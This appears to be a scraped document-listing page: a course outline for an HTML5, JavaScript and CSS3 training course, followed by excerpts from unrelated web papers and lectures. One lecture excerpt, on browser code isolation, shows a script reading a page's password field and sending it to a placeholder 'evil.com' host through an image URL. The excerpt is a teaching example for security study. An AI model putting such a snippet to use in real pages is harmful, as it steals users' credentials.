Programming in HTML5 with Javascript and CSS3 COURS 20480

Total Page:16

File Type:pdf, Size:1020Kb

Programming in HTML5 with Javascript and CSS3 COURS 20480 Visit us at www.ITTA.net Programming in HTML5 with JavaScript and CSS3 COURS 20480 Course overview This course provides an introduction to HTML5, CSS3, and JavaScript. This course helps students gain basic HTML5/CSS3/JavaScript programming skills. This course is an entry point into both the Web application and Windows Store apps training paths. The course focuses on using HTML5/CSS3/JavaScript to implement programming logic, define and use variables, perform looping and branching, develop user interfaces, capture and validate user input, store data, and create well-structured application. Audience Developers interested in developing applications using HTML5, CSS3 and JavaScript. At course completion Use Visual Studio 2012 to create and run a web application Describe, create and stylize HTML5 and CSS3 pages Add interactivity to an HTML5 page using JavaScript Create HTML5 forms Send and receive data using HTTP HTTP Request objects and AJAX jQuery operations Create structured and easily maintainable JavaScript code Use the HTML5 API in interactive web applications Add advanced graphics using SVG (Scalable Vector Graphics) Improve the user experience by adding animations to an HTML5 page Improve responsiveness of a web application using web worker processes Prerequisites Have a minimum of 3 months of development experience Understand the structure of a basic HTML document including HTML tags Know how to use the HTML API Know how to implement a basic CSS style Know how to create and use variables Know how to use arithmetic, relational and logical operators Know how to implement iterations using loops Course outline Module 1: Overview of HTML and CSS This module provides an overview of HTML and CSS, and describes how to use Visual Studio 2012 to build a Web application. Lesson 1: Overview of HTML Lesson 2: Overview of CSS Lesson 3: Creating a Web Application by Using Visual Studio 2012 Module 2: Creating and Styling HTML5 Pages This module describes the new features of HTML5, and explains how to create and style HTML5 pages. ITTA - Route des Jeunes 33 Bis - 1227 Carouge | t +41 58 307 73 00 | f +41 58 307 73 01 | [email protected] Page 1 of 4 Visit us at www.ITTA.net This module describes the new features of HTML5, and explains how to create and style HTML5 pages. Lesson 1: Creating an HTML5 Page Lesson 2: Styling an HTML5 Page Module 3: Introduction to JavaScript This module provides an introduction to the JavaScript language, and shows how to use JavaScript to add interactivity to HTML5 pages. Lesson 1: Overview of JavaScript Syntax Lesson 2: Programming the HTML DOM with JavaScript Lesson 3: Introduction to jQuery Module 4: Creating Forms to Collect Data and Validate User Input This module describes the new input types available with HTML5, and explains how to create forms to collect and validate user input by using the new HTML5 attributes and JavaScript code. Lesson 1: Overview of Forms and Input Types Lesson 2: Validating User Input by Using HTML5 Attributes Lesson 3: Validating User Input by Using JavaScript Module 5: Communicating with a Remote Data Source This module describes how to send and receive data to and from a remote data source by using an XMLHTTPRequest object and by performing jQuery AJAX operations. Lesson 1: Sending and Receiving Data by Using XMLHTTPRequest Lesson 2: Sending and Receiving Data by Using jQuery AJAX operations Module 6: Styling HTML5 by Using CSS3 This module describes how to style HTML5 pages and elements by using the new features available in CSS3. Lesson 1: Styling Text Lesson 2: Styling Block Elements Lesson 3: CSS3 Selectors Lesson 4: Enhancing Graphical Effects by Using CSS3 Module 7: Creating Objects and Methods by Using JavaScript This module explains how to write well-structured and easily-maintainable JavaScript code, and how to apply object-oriented principles to JavaScript code in a Web application. Lesson 1: Writing Well-Structured JavaScript Lesson 2: Creating Custom Objects Lesson 3: Extending Objects Module 8: Creating Interactive Pages using HTML5 APIs This module describes how to use some common HTML5 APIs to add interactive features to a Web application. This module also explains how to debug and profile a Web application. Lesson 1: Interacting with Files Lesson 2: Incorporating Multimedia Lesson 3: Reacting to Browser Location and Context Lesson 4: Debugging and Profiling a Web Application Module 9: Adding Offline Support to Web Applications This module describes how to add offline support to a Web application, to enable the application to continue functioning in a user's browser even if the browser is disconnected from the network. ITTA - Route des Jeunes 33 Bis - 1227 Carouge | t +41 58 307 73 00 | f +41 58 307 73 01 | [email protected] Page 2 of 4 Visit us at www.ITTA.net user's browser even if the browser is disconnected from the network. Lesson 1: Reading and Writing Data Locally Lesson 2: Adding Offline Support by Using the Application Cache Module 10: Implementing an Adaptive User Interface This module describes how to create HTML5 pages that can dynamically detect and adapt to different devices and form factors. Lesson 1: Supporting Multiple Form Factors Lesson 2: Creating an Adaptive User Interface Module 11: Creating Advanced Graphics This module describes how to create advanced graphics for an HTML5 Web application by using a Canvas element, and by using Scalable Vector Graphics. Lesson 1: Creating Interactive Graphics by Using Scalable Vector Graphics Lesson 2: Programmatically Drawing Graphics by Using a Canvas Module 12: Animating the User Interface This module describes how to enhance the user experience in an HTML5 Web application by adding animations. Lesson 1: Applying CSS Transitions Lesson 2: Transforming Elements Lesson 3: Applying CSS Key-frame Animations Module 13: Implementing Real-Time Communications by Using Web Sockets This module explains how to use Web Sockets to transmit and receive data between an HTML5 Web application and a server. Lesson 1: Introduction to Web Sockets Lesson 2: Sending and Receiving Data by Using Web Sockets Module 14: Creating a Web Worker Process This module describes how to use Web Worker Processes to perform long-running operations asynchronously and improve the responsiveness of an HTML5 Web application. Lesson 1: Introduction to Web Workers Lesson 2: Performing Asynchronous Processing by Using a Web Worker Courseware documentation Microsoft Official Courseware. Practice Labs & exercises Lab 1 : Exploring the Contoso Conference Application Lab 2 : Creating and Styling HTML5 Pages Lab 3 : Displaying Data and Handling Events by Using JavaScript Lab 4 : Creating a Form and Validating User Input Lab 5 : Communicating with a Remote Data Source Lab 6 : Styling Text and Block Elements using CSS3 Lab 7 : Refining Code for Maintainability and Extensibility Lab 8 : Creating Interactive Pages by Using HTML5 APIs Lab 9 : Adding Offline Support to a Web Application ITTA - Route des Jeunes 33 Bis - 1227 Carouge | t +41 58 307 73 00 | f +41 58 307 73 01 | [email protected] Page 3 of 4 Visit us at www.ITTA.net Lab 9 : Adding Offline Support to a Web Application Lab 10 : Implementing an Adaptive User Interface Lab 11 : Creating Advanced Graphics Lab 12 : Animating User Interface Elements Lab 13 : Implementing Real-Time Communications by Using Web Sockets Lab 14 : Creating a Web Worker Process Related courses Complete your curriculum by following these additional courses: 20483 - Programming in C# 20486 - Developing ASP.NET MVC Web Applications ITTA - Route des Jeunes 33 Bis - 1227 Carouge | t +41 58 307 73 00 | f +41 58 307 73 01 | [email protected] Page 4 of 4 .
Recommended publications
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Seamless Offloading of Web App Computations from Mobile Device to Edge Clouds Via HTML5 Web Worker Migration
    Seamless Offloading of Web App Computations From Mobile Device to Edge Clouds via HTML5 Web Worker Migration Hyuk Jin Jeong Seoul National University SoCC 2019 Virtual Machine & Optimization Laboratory Department of Electrical and Computer Engineering Seoul National University Computation Offloading Mobile clients have limited hardware resources Require computation offloading to servers E.g., cloud gaming or cloud ML services for mobile Traditional cloud servers are located far from clients Suffer from high latency 60~70 ms (RTT from our lab to the closest Google Cloud DC) Latency<50 ms is preferred for time-critical games Cloud data center End device [Kjetil Raaen, NIK 2014] 2 Virtual Machine & Optimization Laboratory Edge Cloud Edge servers are located at the edge of the network Provide ultra low (~a few ms) latency Central Clouds Mobile WiFi APs Small cells Edge Device Cloud Clouds What if a user moves? 3 Virtual Machine & Optimization Laboratory A Major Issue: User Mobility How to seamlessly provide a service when a user moves to a different server? Resume the service at the new server What if execution state (e.g., game data) remains on the previous server? This is a challenging problem Edge computing community has struggled to solve it • VM Handoff [Ha et al. SEC’ 17], Container Migration [Lele Ma et al. SEC’ 17], Serverless Edge Computing [Claudio Cicconetti et al. PerCom’ 19] We propose a new approach for web apps based on app migration techniques 4 Virtual Machine & Optimization Laboratory Outline Motivation Proposed system WebAssembly
    [Show full text]
  • Introduction to Scalable Vector Graphics
    Introduction to Scalable Vector Graphics Presented by developerWorks, your source for great tutorials ibm.com/developerWorks Table of Contents If you're viewing this document online, you can click any of the topics below to link directly to that section. 1. Introduction.............................................................. 2 2. What is SVG?........................................................... 4 3. Basic shapes............................................................ 10 4. Definitions and groups................................................. 16 5. Painting .................................................................. 21 6. Coordinates and transformations.................................... 32 7. Paths ..................................................................... 38 8. Text ....................................................................... 46 9. Animation and interactivity............................................ 51 10. Summary............................................................... 55 Introduction to Scalable Vector Graphics Page 1 of 56 ibm.com/developerWorks Presented by developerWorks, your source for great tutorials Section 1. Introduction Should I take this tutorial? This tutorial assists developers who want to understand the concepts behind Scalable Vector Graphics (SVG) in order to build them, either as static documents, or as dynamically generated content. XML experience is not required, but a familiarity with at least one tagging language (such as HTML) will be useful. For basic XML
    [Show full text]
  • Visualisation of Resource Flows Technical Report
    Visualisation of Resource Flows Technical Report Jesper Karjalainen (jeska043) Erik Johansson (erijo926) Anders Kettisen (andke020) Tobias Nilsson (tobni908) Alexander Eriksson (aleer034) Contents 1. Introduction 1 1.1. Problem description . .1 1.2. Tools . .1 2. Background/Theory 1 2.1. Sphere models . .1 2.2. Vector Graphics . .2 2.3. Cubic Beziers . .2 2.4. Cartesian Mapping of Earth . .3 2.5. Lines in 3D . .3 2.6. Rendering Polygons . .4 2.6.1 Splitting polygons . .4 2.6.2 Tessellate polygons . .4 2.6.3 Filling Polygon by the Stencil Method . .5 2.7. Picking . .5 3. Method 5 3.1. File Loading . .5 3.2. Formatting new files . .6 3.3. Data Management . .6 3.4. Creating the sphere . .6 3.4.1 Defining the first vertices . .6 3.4.2 Making the sphere smooth . .7 3.5. Texturing a Sphere . .8 3.6. Generating Country Borders . .8 3.7. Drawing 3D lines . 10 3.8. Assigning widths to flow lines . 12 3.8.1 Linear scaling . 12 3.8.2 Logarithmic scaling . 12 3.9. Drawing Flow Lines . 12 3.10.Picking . 13 3.10.1 Picking on Simple Geometry . 13 3.10.2 Picking on Closed Polygon . 14 3.11.Rendering Polygons . 14 3.11.1 Concave Polygon Splitting into Convex Parts . 14 3.11.2 Filling by the Stencil Buffer Method . 16 3.12.Shader Animations . 16 3.12.1 2D-3D Transition Animation . 16 3.12.2 Flowline Directions . 17 3.13.User interface . 17 3.13.1 Connecting JavaScript and C++ . 17 3.13.2 Filling the drop-down lists with data .
    [Show full text]
  • Progressive Imagery with Scalable Vector Graphics -..:: VCG Rostock
    Progressive imagery with scalable vector graphics Georg Fuchsa, Heidrun Schumanna, and Ren´eRosenbaumb aUniversity of Rostock, Institute for Computer Science, 18051 Rostock, Germany; bUC Davis, Institute of Data Analysis & Visualization, Davis, CA 95616 U.S.A. ABSTRACT Vector graphics can be scaled without loss of quality, making them suitable for mobile image communication where a given graphics must be typically represented in high quality for a wide range of screen resolutions. One problem is that file size increases rapidly as content becomes more detailed, which can reduce response times and efficiency in mobile settings. Analog issues for large raster imagery have been overcome using progressive refinement schemes. Similar ideas have already been applied to vector graphics, but an implementation that is compliant to a major and widely adopted standard is still missing. In this publication we show how to provide progressive refinement schemes based on the extendable Scalable Vector Graphics (SVG) standard. We propose two strategies: decomposition of the original SVG and incremental transmission using (1) several linked files and (2) element-wise streaming of a single file. The publication discusses how both strategies are employed in mobile image communication scenarios where the user can interactively define RoIs for prioritized image communication, and reports initial results we obtained from a prototypically implemented client/server setup. Keywords: Progression, Progressive refinement, Scalable Vector Graphics, SVG, Mobile image communication 1. INTRODUCTION Vector graphics use graphic primitives such as points, lines, curves, and polygons to represent image contents. As those primitives are defined by means of geometric coordinates that are independent of actual pixel resolutions, vector graphics can be scaled without loss of quality.
    [Show full text]
  • SVG Exploiting Browsers Without Image Parsing Bugs
    SVG Exploiting Browsers without Image Parsing Bugs Rennie deGraaf iSEC Partners 07 August 2014 Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 1 / 55 Outline 1 A brief introduction to SVG What is SVG? Using SVG with HTML SVG features 2 Attacking SVG Attack surface Security model Security model violations 3 Content Security Policy A brief introduction CSP Violations 4 Conclusion Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 2 / 55 A brief introduction to SVG What is SVG? What is SVG? Scalable Vector Graphics XML-based W3C (http://www.w3.org/TR/SVG/) Development started in 1999 Current version is 1.1, published in 2011 Version 2.0 is in development First browser with native support was Konqueror in 2004; IE was the last major browser to add native SVG support (in 2011) Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 3 / 55 A brief introduction to SVG What is SVG? A simple example Source code <? xml v e r s i o n = ” 1 . 0 ” encoding = ”UTF-8” standalone = ” no ” ? > <svg xmlns = ” h t t p : // www. w3 . org / 2 0 0 0 / svg ” width = ” 68 ” h e i g h t = ” 68 ” viewBox = ”-34 -34 68 68 ” v e r s i o n = ” 1 . 1 ” > < c i r c l e cx = ” 0 ” cy = ” 0 ” r = ” 24 ” f i l l = ”#c8c8c8 ” / > < / svg > Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 4 / 55 A brief introduction to SVG What is SVG? A simple example As rendered Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 5 / 55 A brief introduction to SVG What is SVG? A simple example I am not an artist.
    [Show full text]
  • MS 20480C: Programming in HTML5 with Javascript and CSS3
    MS 20480C: Programming in HTML5 With JavaScript and CSS3 Days: 5 Prerequisites: This course is intended for students who have the following experience: 1 – 3 months experience creating Web applications, including writing simple JavaScript code 1 month experience creating Windows client applications 1 month of experience using Visual Studio 2017. Audience: This course is intended for professional developers who have 6-12 months of programming experience and who are interested in developing applications using HTML5 with JavaScript and CSS3 (either Windows Store apps for Windows 10 or web applications). Course Objectives: After taking this course students will be able to: Explain how to use Visual Studio 2012 to create and run a Web application. Describe the new features of HTML5, and create and style HTML5 pages. Add interactivity to an HTML5 page by using JavaScript. Create HTML5 forms by using different input types, and validate user input by using HTML5 attributes and JavaScript code. Send and receive data to and from a remote data source by using XMLHTTP Request objects and Fetch API Style HTML5 pages by using CSS3. Create a well-structured and easily-maintainable JavaScript code. Write modern JavaScript code and use babel to make it compatible to all browsers Create web applications that support offline operations Create HTML5 Web pages that can adapt to different devices and form factors. Add advanced graphics to an HTML5 page by using Canvas elements, and by using and Scalable Vector Graphics. Enhance the user experience by adding animations to an HTML5 page. Use Web Sockets to send and receive data between a Web application and a server.
    [Show full text]
  • Interactive Topographic Web Mapping Using Scalable Vector Graphics
    University of Nebraska at Omaha DigitalCommons@UNO Student Work 12-1-2003 Interactive topographic web mapping using scalable vector graphics Peter Pavlicko University of Nebraska at Omaha Follow this and additional works at: https://digitalcommons.unomaha.edu/studentwork Recommended Citation Pavlicko, Peter, "Interactive topographic web mapping using scalable vector graphics" (2003). Student Work. 589. https://digitalcommons.unomaha.edu/studentwork/589 This Thesis is brought to you for free and open access by DigitalCommons@UNO. It has been accepted for inclusion in Student Work by an authorized administrator of DigitalCommons@UNO. For more information, please contact [email protected]. INTERACTIVE TOPOGRAPHIC WEB MAPPING USING SCALABLE VECTOR GRAPHICS A Thesis Presented to the Department of Geography-Geology and the Faculty of the Graduate College University of Nebraska in Partial Fulfillment of the Requirements for the Degree Master of Arts University of Nebraska at Omaha by Peter Pavlicko December, 2003 UMI Number: EP73227 All rights reserved INFORMATION TO ALL USERS The quality of this reproduction is dependent upon the quality of the copy submitted. In the unlikely event that the author did not send a complete manuscript and there are missing pages, these will be noted. Also, if material had to be removed, a note will indicate the deletion. Dissertation WWisMng UMI EP73227 Published by ProQuest LLC (2015). Copyright in the Dissertation held by the Author. Microform Edition © ProQuest LLC. All rights reserved. This work is protected against unauthorized copying under Title 17, United States Code ProQuest LLC. 789 East Eisenhower Parkway P.O. Box 1346 Ann Arbor, Ml 48106-1346 THESIS ACCEPTANCE Acceptance for the faculty of the Graduate College, University of Nebraska, in Partial fulfillment of the requirements for the degree Master of Arts University of Nebraska Omaha Committee ----------- Uf.A [JL___ Chairperson.
    [Show full text]
  • Get Started with HTML5 ● Your Best Bet to Experiment with HTML5 – Safari – Chrome As of – Beta: Firefox 4 and IE 9
    BibhasBibhas BhattacharyaBhattacharya CTO,CTO, WebWeb AgeAge SolutionsSolutions [email protected]@webagesolutions.com www.webagesolutions.com/trainingwww.webagesolutions.com/training Get Started With HTML5 ● Your best bet to experiment with HTML5 – Safari – Chrome As of – Beta: FireFox 4 and IE 9. October 2010 ● Test your browser: – html5test.com – html5demos.com – www.findmebyip.com/litmus ● JavaScript library to test for HTML5 features – www.modernizr.com Browser Support ● Dreamweaver CS5 11.0.3 update will install HTML5 compatibility pack. ● CS4 and CS3 users should download the pack from Dreamweaver Exchange. ● See a demo: – www.youtube.com/watch?v=soNIxy2sj0A DreamWeaver Story - The canvas element - Custom audio & video player - New semantic elements - Geolocation (header, section, footer etc.) - Local data storage - New form input elements - Web SQL & IndexedDB (e-mail, date, time etc.) - Offline apps - Audio and video - Messaging - CSS3 - Web worker - Push using WebSocket For web page designers For developers What's New in HTML5? SimplifiedSimplified <!DOCTYPE html> DOCTYPEDOCTYPE <html> <head> <title>Page Title</title> Simplified <meta charset="UTF-8"> Simplified charsetcharset settingsetting </head> <body> <p>Hello World</p> </body> </html> Basic HTML 5 Document ● Elements that have no special visual styling but are used to provide structure and meaning to the content. ● HTML4 semantic elements – div (block) – span (in line) ● HTML5 semantic elements – header, footer, section, article, aside, time and others..
    [Show full text]
  • Brief Contents
    brief contents PART 1 INTRODUCTION . ..........................................................1 1 ■ HTML5: from documents to applications 3 PART 2 BROWSER-BASED APPS ..................................................35 2 ■ Form creation: input widgets, data binding, and data validation 37 3 ■ File editing and management: rich formatting, file storage, drag and drop 71 4 ■ Messaging: communicating to and from scripts in HTML5 101 5 ■ Mobile applications: client storage and offline execution 131 PART 3 INTERACTIVE GRAPHICS, MEDIA, AND GAMING ............163 6 ■ 2D Canvas: low-level, 2D graphics rendering 165 7 ■ SVG: responsive in-browser graphics 199 8 ■ Video and audio: playing media in the browser 237 9 ■ WebGL: 3D application development 267 iii contents foreword xi preface xiii acknowledgments xv about this book xvii PART 1 INTRODUCTION. ...............................................1 HTML5: from documents to applications 3 1 1.1 Exploring the markup: a whirlwind tour of HTML5 4 Creating the basic structure of an HTML5 document 5 Using the new semantic elements 6 ■ Enhancing accessibility using ARIA roles 9 ■ Enabling support in Internet Explorer versions 6 to 8 10 ■ Introducing HTML5’s new form features 11 ■ Progress bars, meters, and collapsible content 13 1.2 Beyond the markup: additional web standards 15 Microdata 16 ■ CSS3 18 ■ JavaScript and the DOM 19 1.3 The HTML5 DOM APIs 20 Canvas 21 ■ Audio and video 21 ■ Drag and drop 22 Cross-document messaging, server-sent events, and WebSockets 23 v vi CONTENTS Document editing 25
    [Show full text]
  • 2018 Webist Lnbip (20)
    Client-Side Cornucopia: Comparing the Built-In Application Architecture Models in the Web Browser Antero Taivalsaari1, Tommi Mikkonen2, Cesare Pautasso3, and Kari Syst¨a4, 1Nokia Bell Labs, Tampere, Finland 2University of Helsinki, Helsinki, Finland 3University of Lugano, Lugano, Swizerland 4Tampere University, Tampere, Finland [email protected], [email protected], [email protected], [email protected] Abstract. The programming capabilities of the Web can be viewed as an afterthought, designed originally by non-programmers for relatively simple scripting tasks. This has resulted in cornucopia of partially over- lapping options for building applications. Depending on one's viewpoint, a generic standards-compatible web browser supports three, four or five built-in application rendering and programming models. In this paper, we give an overview and comparison of these built-in client-side web ap- plication architectures in light of the established software engineering principles. We also reflect on our earlier work in this area, and provide an expanded discussion of the current situation. In conclusion, while the dominance of the base HTML/CSS/JS technologies cannot be ignored, we expect Web Components and WebGL to gain more popularity as the world moves towards increasingly complex web applications, including systems supporting virtual and augmented reality. Keywords|Web programming, single page web applications, web com- ponents, web application architectures, rendering engines, web rendering, web browser 1 Introduction The World Wide Web has become such an integral part of our lives that it is often forgotten that the Web has existed only about thirty years. The original design sketches related to the World Wide Web date back to the late 1980s.
    [Show full text]
  • HTML5 Web Workers
    HHTTMMLL55 -- WWEEBB WWOORRKKEERRSS http://www.tutorialspoint.com/html5/html5_web_workers.htm Copyright © tutorialspoint.com JavaScript was designed to run in a single-threaded environment, meaning multiple scripts cannot run at the same time. Consider a situation where you need to handle UI events, query and process large amounts of API data, and manipulate the DOM. Javascript will hang your browser in situation where CPU utilization is high. Let us take a simple example where Javascript goes through a big loop − <!DOCTYPE HTML> <html> <head> <title>Big for loop</title> <script> function bigLoop(){ for (var i = 0; i <= 10000; i += 1){ var j = i; } alert("Completed " + j + "iterations" ); } function sayHello(){ alert("Hello sir...." ); } </script> </head> <body> <input type="button" onclick="bigLoop();" value="Big Loop" /> <input type="button" onclick="sayHello();" value="Say Hello" /> </body> </html> It will produce the following result − When you click Big Loop button it displays following result in Firefox − What is Web Workers? The situation explained above can be handled using Web Workers who will do all the computationally expensive tasks without interrupting the user interface and typically run on separate threads. Web Workers allow for long-running scripts that are not interrupted by scripts that respond to clicks or other user interactions, and allows long tasks to be executed without yielding to keep the page responsive. Web Workers are background scripts and they are relatively heavy-weight, and are not intended to be used in large numbers. For example, it would be inappropriate to launch one worker for each pixel of a four megapixel image. When a script is executing inside a Web Worker it cannot access the web page's window object window.
    [Show full text]